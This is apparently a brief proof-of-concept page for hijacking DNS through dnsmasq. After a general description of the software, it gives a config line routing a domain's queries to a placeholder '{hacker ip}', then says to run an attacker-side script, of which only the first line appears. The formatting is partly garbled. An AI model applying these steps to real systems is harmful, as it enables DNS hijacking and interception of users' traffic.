dnsmasq
Dnsmasq provides network infrastructure for small networks: DNS, DHCP, router advertisement and network boot. It is designed to be lightweight and have a small footprint, suitable for resource constrained routers and firewalls. It has also been widely used for tethering on smartphones and portable hotspots, and to support virtual networking in virtualisation frameworks. Supported platforms include Linux (with glibc and uclibc), Android, *BSD, and Mac OS X. Dnsmasq is included in most Linux distributions and the ports systems of FreeBSD, OpenBSD and NetBSD. Dnsmasq provides full IPv6 support.
exploit
- add this config to
dnsmasq.conf
ordnsmasq.d/poc.conf
then restart the dnsmasq to activate this config.1
server=/a.net/{hacker ip}
- dnsmasq.conf is usually at /usr/local/etc/ if in mac os
- run this code in the {hacker ip} -
poc.py
1 | #!/usr/bin/env python3 |
- check hijack